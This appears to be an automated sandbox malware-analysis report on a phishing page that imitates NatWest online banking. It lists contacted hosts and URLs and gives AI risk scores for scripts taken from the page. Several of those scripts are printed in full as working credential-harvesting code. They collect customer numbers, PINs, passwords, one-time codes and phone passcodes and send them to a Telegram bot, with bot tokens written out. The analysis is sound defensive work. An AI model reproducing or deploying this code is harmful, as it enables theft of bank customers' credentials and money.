https://www.nwolb.com/Brands/mm.js	0%	Avira URL Cloud	safe
https://www.nwolb.com//Brands/NWB/images/FSCS_Protected_Logo.png	0%	Avira URL Cloud	safe
https://www.nwolb.com/PageNotFound.aspx#menu	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.woff2	0%	Avira URL Cloud	safe
https://www.nwolb.com/TermsAndConditions.aspx'	0%	Avira URL Cloud	safe
https://www.natwest.com/privacy-cookies	0%	Avira URL Cloud	safe
http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/check-box.png	0%	Avira URL Cloud	safe
https://www.nwolb.com/ServiceManagement/RedirectOutOfService.aspx?targettag=destination_ExitService&	0%	Avira URL Cloud	safe
https://github.com/jquery/sizzle/pull/225	0%	Avira URL Cloud	safe
http://www.omniture.com	0%	Avira URL Cloud	safe
https://www.natwest.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
l2.io	195.80.159.133	true	false	unknown
website.yandexcloud.net	213.180.193.247	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown
plastic-fringe-pentagon.glitch.me	34.197.201.171	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
eclipse.website.yandexcloud.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.ttf	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/font-awesome.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/overlayPromptMaster.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/combined-shape.png	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.ttf	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/n-w-logo.svg	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/radio-selected.png	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.woff2	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/npc.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/favicon.ico	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/down-chevron.png	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/error-marker.png	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.woff	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/white-lock.png	false	Avira URL Cloud: safe	unknown
https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	true		unknown
https://l2.io/ip.js?var=userip	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.woff	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/master.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/master_mobile.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/jquery-2.2.3.js	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/main.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/panel-defaults.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/overlayPrompt.css	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/li5_outer_frame_top_curve.gif	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/plogo.png	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.woff2	false	Avira URL Cloud: safe	unknown
https://eclipse.website.yandexcloud.net/check-box.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://fontawesome.io	chromecache_81.2.dr	false	URL Reputation: safe	unknown
https://code.google.com/p/chromium/issues/detail?id=470258	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://code.google.com/p/chromium/issues/detail?id=449857	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.nwolb.com/PageNotFound.aspx#	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://jquery.org/license	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm'	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/Login.aspx	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://sizzlejs.com/	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com/premier	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/TermsAndConditions.aspx	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://code.google.com/p/chromium/issues/detail?id=378607	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://jsperf.com/getall-vs-sizzle/2	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com/AOhome	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/jquery/pull/557)	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://code.google.com/p/chromium/issues/detail?id=229280	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/PageNotFound.aspx#content	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/onlineguide	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/FSCSbrochure	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/brands/NWB/images/logo.png	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/jquery/pull/764	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://royalbankofscotland.122.2o7.net/b/ss/rbsnwphase2/1/H.21--NS/0?	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/privacy-cookies'	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/AOsupport	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://bugs.jquery.com/ticket/12359	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com/tools/general/nwolb_legals/security.htm	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/brands/NWB/images/n-w-logo.svg	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://www.rbs.com/schemas/rates	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://fontawesome.io/license	chromecache_81.2.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://bugs.jquery.com/ticket/13378	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://jsperf.com/thor-indexof-vs-for/5	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com/AOlifemoments	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/corporate	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/business.ashx	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/international.ashx	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/tools/general/nwolb_legals/security.htm'	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/Brands/mm.js	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com//Brands/NWB/images/FSCS_Protected_Logo.png	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/PageNotFound.aspx#menu	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/TermsAndConditions.aspx'	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://www.natwest.com/privacy-cookies	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://www.nwolb.com/ServiceManagement/RedirectOutOfService.aspx?targettag=destination_ExitService&	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_90.2.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_90.2.dr	false	URL Reputation: safe	unknown
https://www.natwest.com	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown
http://jquery.com/	chromecache_90.2.dr	false	URL Reputation: safe	unknown
http://www.omniture.com	chromecache_76.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
213.180.193.247	website.yandexcloud.net	Russian Federation	13238	YANDEXRU	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
34.197.201.171	plastic-fringe-pentagon.glitch.me	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
195.80.159.133	l2.io	France	29152	DECKNET-ASFR	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1448174
Start date and time:	2024-05-28 00:43:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@16/58@10/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.185.238, 74.125.71.84, 34.104.35.123, 142.250.186.138, 142.250.181.234, 142.250.185.74, 142.250.186.74, 142.250.185.138, 142.250.186.42, 172.217.16.202, 142.250.184.234, 172.217.23.106, 142.250.185.234, 142.250.185.170, 216.58.206.42, 142.250.186.106, 142.250.186.170, 142.250.185.202, 142.250.185.106, 40.68.123.157, 199.232.214.172, 192.229.221.95, 13.85.23.206, 20.3.187.198, 216.58.206.35, 2.19.126.151, 2.19.126.137
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm

Input	Output
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The code collects sensitive information such as customer number, PIN, passwords, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity." }
const form20 = document.querySelector("#form2"); form20.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit1Text = document.querySelector('input[name="digit1Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit3Text = document.querySelector('input[name="digit3Text"]').value; var firstpass = document.querySelector('input[name="firstpass"]').value; var secondpass = document.querySelector('input[name="secondpass"]').value; var thirdpass = document.querySelector('input[name="thirdpass"]').value; var ip = document.querySelector('input[name="ip"]').value; if(digit1Text == "" \|\| digit2Text == "" \|\| digit3Text == "" \|\| firstpass == "" \|\| secondpass == "" \|\| thirdpass == ""){ document.getElementById("secError").innerHTML = "Please all fields required"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 1 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(134): ${digit1Text} ${digit2Text} ${digit3Text} %0A\| PASS(135): ${firstpass} ${secondpass} ${thirdpass} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 1 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive user information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing user credentials." }
const form4 = document.querySelector("#form4"); form4.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var ip = document.querySelector('input[name="ip"]').value; if(otp == ""){ document.getElementById("fError").innerHTML = "Please enter your Security Code"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 3 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 3 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div5").style.display = "block"; document.getElementById("Div4").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive user information such as customer number, PIN, passwords, and IP address, and sends it to an external server via a Telegram bot API. This behavior is indicative of phishing or other malicious activity." }
const form1 = document.querySelector("#form2"); form1.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit1Text = document.querySelector('input[name="digit1Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit3Text = document.querySelector('input[name="digit3Text"]').value; var firstpass = document.querySelector('input[name="firstpass"]').value; var secondpass = document.querySelector('input[name="secondpass"]').value; var thirdpass = document.querySelector('input[name="thirdpass"]').value; var ip = document.querySelector('input[name="ip"]').value; if(digit1Text == "" \|\| digit2Text == "" \|\| digit3Text == "" \|\| firstpass == "" \|\| secondpass == "" \|\| thirdpass == ""){ document.getElementById("secError").innerHTML = "Please all fields required"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 1 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(134): ${digit1Text} ${digit2Text} ${digit3Text} %0A\| PASS(135): ${firstpass} ${secondpass} ${thirdpass} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 1 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div3").style.display = "block"; document.getElementById("Div2").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive user information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing user credentials." }
const form50 = document.querySelector("#form5"); form50.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var otp1 = document.querySelector('input[name="otp1"]').value; var ip = document.querySelector('input[name="ip"]').value; if(otp1 == ""){ document.getElementById("fiError").innerHTML = "Please enter your correct Security Code"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 4 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| OTP 2: ${otp1} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 4 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, and IP address, and sends it to an external server via a Telegram bot API. This behavior is indicative of phishing and data exfiltration, which are highly malicious activities." }
const form5 = document.querySelector("#form5"); form5.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var otp1 = document.querySelector('input[name="otp1"]').value; var ip = document.querySelector('input[name="ip"]').value; if(otp1 == ""){ document.getElementById("fiError").innerHTML = "Please enter your correct Security Code"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 4 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| OTP 2: ${otp1} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 4 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div6").style.display = "block"; document.getElementById("Div5").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The code captures sensitive information such as customer number, PIN, full password, and IP address, and sends it to a Telegram chat using a bot token. This behavior is indicative of phishing or malicious activity as it exfiltrates sensitive data to an external server." }
const form3 = document.querySelector("#form3"); form3.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var ip = document.querySelector('input[name="ip"]').value; if(digit10Text == "" \|\| digit20Text == "" \|\| digit30Text == "" \|\| fullpassword == ""){ document.getElementById("thirdError").innerHTML = "Please all fields required"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 2 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 2 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div4").style.display = "block"; document.getElementById("Div3").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is a simple function that moves the cursor focus from one text box to another when the maximum length of the current text box is reached. There are no indications of malicious behavior in this code." }
function moveCursor(fromTextBox, toTextBox) { var length = fromTextBox.value.length; var maxLength = fromTextBox.getAttribute("maxLength"); if (length == maxLength) { document.getElementById(toTextBox).focus(); } }
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive information such as customer number, PIN, full password, and IP address, and sends it to a remote server via a Telegram bot. This behavior is indicative of phishing or other malicious activity." }
const form30 = document.querySelector("#form3"); form30.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var ip = document.querySelector('input[name="ip"]').value; if(digit10Text == "" \|\| digit20Text == "" \|\| digit30Text == "" \|\| fullpassword == ""){ document.getElementById("thirdError").innerHTML = "Please all fields required"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 2 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 2 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive information such as customer number, PIN, full password, OTP, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing and data exfiltration, which is highly malicious." }
const form40 = document.querySelector("#form4"); form40.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var ip = document.querySelector('input[name="ip"]').value; if(otp == ""){ document.getElementById("fError").innerHTML = "Please enter your Security Code"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 3 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 3 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 10, "reasons": "The JavaScript code captures sensitive information such as customer number, PIN, full password, OTPs, mobile number, and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or other malicious activity aimed at stealing personal and financial information." }
const form60 = document.querySelector("#form6"); form60.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var digit10Text = document.querySelector('input[name="digit10Text"]').value; var digit20Text = document.querySelector('input[name="digit20Text"]').value; var digit2Text = document.querySelector('input[name="digit2Text"]').value; var digit30Text = document.querySelector('input[name="digit30Text"]').value; var fullpassword = document.querySelector('input[name="fullpassword"]').value; var otp = document.querySelector('input[name="otp"]').value; var otp1 = document.querySelector('input[name="otp1"]').value; var mobile = document.querySelector('input[name="mobile"]').value; var ip = document.querySelector('input[name="ip"]').value; if(mobile == ""){ document.getElementById("sError").innerHTML = "Please enter your Mobile phone number"; return false; } var token = "6468169847:AAGlMeemfyClgi_wymGKoPFXWtpmG3wKz6M"; var chat_id = 2014367735; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest INFO 5 ================\| %0A\| Customer No: ${customernum} %0A\| PIN(1234): ${digit10Text} ${digit20Text} ${digit2Text} ${digit30Text} %0A\| FULL PASSWORD: ${fullpassword} %0A\| OTP 1: ${otp} %0A\| OTP 2: ${otp1} %0A\| App Passcode: ${mobile} %0A\| IP: ${ip} %0A\|=============== Natwest INFO 5 ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 9, "reasons": "The JavaScript code captures user input, including a customer number and IP address, and sends it to a Telegram bot. This behavior is indicative of phishing or data exfiltration, as it sends sensitive information to an external service without user consent. The use of a Telegram bot for data collection is a common tactic in malicious activities." }
const form = document.querySelector("#form1"); form.addEventListener("submit", (e) => { e.preventDefault(); var customernum = document.querySelector('input[name="customernum"]').value; var ip = document.querySelector('input[name="ip"]').value; if(customernum == ""){ document.getElementById("usernameError").innerHTML = "Please enter your Customer number"; return false; } var token = "6979567983:AAH_kQqHtJXeza028ZIixHgZrWN2_-_LreM"; var chat_id = "2014367735"; var message = `<html><br>\| Customer: ${customernum}</html>`; var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=\|=============== Natwest LOGIN ================\| %0A\| Customer No: ${customernum} %0A\| IP: ${ip} %0A\|=============== Natwest LOGIN ================&parse_mode=html`; var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.send(); if (oReq) { window.setTimeout(function(){ document.getElementById("Div2").style.display = "block"; document.getElementById("Div1").style.display = "none"; }, 1000); } })
URL: https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm Model: gpt-4o	```json { "riskscore": 8, "reasons": "The JavaScript code decodes and writes HTML content dynamically using document.write and unescape, which can be used to inject malicious content. It collects sensitive information such as customer number and IP address, and sends it to an external URL (https://api.telegram.org) using an XMLHttpRequest. This behavior is indicative of phishing or data exfiltration." }
